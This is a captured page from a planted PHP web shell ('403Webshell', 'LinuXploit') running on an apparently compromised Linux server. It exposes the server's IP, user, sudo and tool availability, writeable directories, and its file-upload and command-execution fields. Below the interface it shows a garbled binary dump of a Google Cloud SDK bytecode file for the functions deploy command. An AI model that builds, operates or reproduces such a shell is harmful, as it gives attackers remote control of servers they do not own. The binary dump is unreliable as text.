403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/functions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/functions/__pycache__/deploy.cpython-311.pyc
�

����� �dZddlmZddlmZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZ
dd
lmZdd	lmZddlmZdd
lmZddlmZd
ZdZde�de��Zd�Zejejj��Gd�de
jej����Zejejj ��Gd�de����Z!ejejj"��Gd�de!����Z#ddiZ$e$e_%e$e!_%e$e#_%dS)z+Creates or updates a Google Cloud Function.�)�absolute_import)�division)�unicode_literals)�base)�flags)�secrets_config)�util)�command)�labels_util)�
env_vars_util)�logz�You can disable this behavior by explicitly specifying the --no-gen2 flag or by setting the functions/gen2 config property to 'off'.z�To learn more about the differences between 1st gen and 2nd gen functions, visit:
https://cloud.google.com/functions/docs/concepts/version-comparisonaAs of this Cloud SDK release, new functions will be deployed as 2nd gen  functions by default. This is equivalent to currently deploying new  with the --gen2 flag. Existing 1st gen functions will not be impacted and will continue to deploy as 1st gen functions.
�
c��tj|d��tj|��tj|��tj|��tj|��tj|��tj|��tj|��tj	|��tj|tj
tj
���tj|��tj|��tj|��tj|��t%j|��t%j|��tj|��tj||��tj|��tj|��t3j|��tj|��tj|��tj|��tj|��tj|��tj |��tj!|��tj"|��tj#|��tj$|��tj%|��tj&|��tj'|��tj(|��dS)z%Register base flags for this command.z	to deploy)�extra_update_message�extra_remove_messageN))r�AddFunctionResourceArg�AddFunctionMemoryAndCpuFlags�AddAllowUnauthenticatedFlag�AddFunctionRetryFlag�AddFunctionTimeoutFlag�AddMaxInstancesFlag�AddMinInstancesFlag�AddRuntimeFlag�AddServiceAccountFlag�args_labels_util�AddUpdateLabelsFlagsr�&NO_LABELS_STARTING_WITH_DEPLOY_MESSAGE�
AddSourceFlag�AddStageBucketFlag�AddEntryPointFlag�AddTriggerFlagGroupr�AddUpdateEnvVarsFlags�AddBuildEnvVarsFlags�AddIgnoreFileFlag�AddRuntimeUpdatePolicy�AddKMSKeyFlags�AddDockerRepositoryFlagsr�ConfigureFlags�AddVPCConnectorMutexGroup�AddEgressSettingsFlag�AddIngressSettingsFlag�AddSecurityLevelFlag�AddBuildWorkerPoolMutexGroup�AddDockerRegistryFlags�AddRunServiceAccountFlag�AddTriggerLocationFlag�AddTriggerServiceAccountFlag�AddGen2Flag�$AddServeAllTrafficLatestRevisionFlag�AddConcurrencyFlag�AddBuildServiceAccountFlag� AddBinaryAuthorizationMutexGroup)�parser�tracks  �lib/surface/functions/deploy.py�_CommonArgsr:6s�����v�{�3�3�3��$�V�,�,�,��#�F�+�+�+���V�$�$�$���v�&�&�&���F�#�#�#���F�#�#�#���v������f�%�%�%��'��&�M�&�M�������f������6�"�"�"���&�!�!�!���F�#�#�#��%�f�-�-�-��$�V�,�,�,���&�!�!�!���v�u�-�-�-���v����� ��(�(�(����'�'�'��!�&�)�)�)���f�%�%�%���v�&�&�&���V�$�$�$��$�V�,�,�,���v�&�&�&�� ��(�(�(���v�&�&�&��$�V�,�,�,���F�����,�V�4�4�4���6�"�"�"��"�6�*�*�*��(��0�0�0�0�0�c�4�eZdZdZed���Zd�Zd�ZdS)�Deploy�)Create or update a Google Cloud Function.c�D�t|tjj��dS�N)r:r�ReleaseTrack�GA�r7s r9�ArgszDeploy.Args�s�����)�,�-�-�-�-�-r;c�R�tj||������S)N)r8)�
command_v1�RunrA��self�argss  r9�_RunV1z
Deploy._RunV1�s#���>�$�d�&7�&7�&9�&9�:�:�:�:r;c���|js7tj��s$tj�t��tj||�	����Sr@)
�_v2_functionr�
ShouldUseGen2r
�status�Print�_NEW_CHANGE_WARNING�
command_v2rGrArHs  r9�_RunV2z
Deploy._RunV2�sR����,�U�%8�%:�%:�,�	�j���*�+�+�+��>�$�� 1� 1� 3� 3�4�4�4r;N)�__name__�
__module__�__qualname__�__doc__�staticmethodrDrKrS�r;r9r=r=�sQ������1�1��.�.��<�.�;�;�;�5�5�5�5�5r;r=c�(�eZdZdZed���ZdS)�
DeployBetar>c�D�t|tjj��dS�z<Register alpha (and implicitly beta) flags for this command.N)r:rrA�BETArCs r9rDzDeployBeta.Args�s �����)�.�/�/�/�/�/r;N�rTrUrVrWrXrDrYr;r9r[r[�s3������1�1��0�0��<�0�0�0r;r[c�(�eZdZdZed���ZdS)�DeployAlphar>c�l�t|tjj��t	j|��dSr])r:rrA�ALPHAr�AddBuildpackStackFlagrCs r9rDzDeployAlpha.Args�s3�����)�/�0�0�0�
���'�'�'�'�'r;Nr_rYr;r9rara�s3������1�1��(�(��<�(�(�(r;ra�EXAMPLESa�        To deploy a function that is triggered by write events on the document
        ``/messages/{pushId}'', run:

          $ {command} my_function --runtime=python37 --trigger-event=providers/cloud.firestore/eventTypes/document.write --trigger-resource=projects/project_id/databases/(default)/documents/messages/{pushId}

        See https://cloud.google.com/functions/docs/calling for more details
        of using other types of resource as triggers.
        N)&rW�
__future__rrr�googlecloudsdk.callioper�$googlecloudsdk.command_lib.functionsrrr	�.googlecloudsdk.command_lib.functions.v1.deployr
rFr�.googlecloudsdk.command_lib.functions.v2.deployrRr�$googlecloudsdk.command_lib.util.argsr�googlecloudsdk.corer
�_HOW_TO_DISABLE_CHANGE�_LEARN_ABOUT_GEN_DIFFSrQr:�
ReleaseTracksrArB�FunctionResourceCommand�Commandr=r^r[rcra�
DETAILED_HELP�
detailed_helprYr;r9�<module>rts^��2�1�&�&�&�&�&�&�������'�'�'�'�'�'�(�(�(�(�(�(�6�6�6�6�6�6�?�?�?�?�?�?�5�5�5�5�5�5�P�P�P�P�P�P�F�F�F�F�F�F�P�P�P�P�P�P�H�H�H�H�H�H�P�P�P�P�P�P�#�#�#�#�#�#�B��L�� ��	 � �
� � ��H1�H1�H1�V���D�%�(�)�)�5�5�5�5�5�T�
)�4�<�5�5�*�)�5�"���D�%�*�+�+�0�0�0�0�0��0�0�,�+�0����D�%�+�,�,�	(�	(�	(�	(�	(�*�	(�	(�-�,�	(���
�
�%���(�
��)����r;

Youez - 2016 - github.com/yon3zu
LinuXploit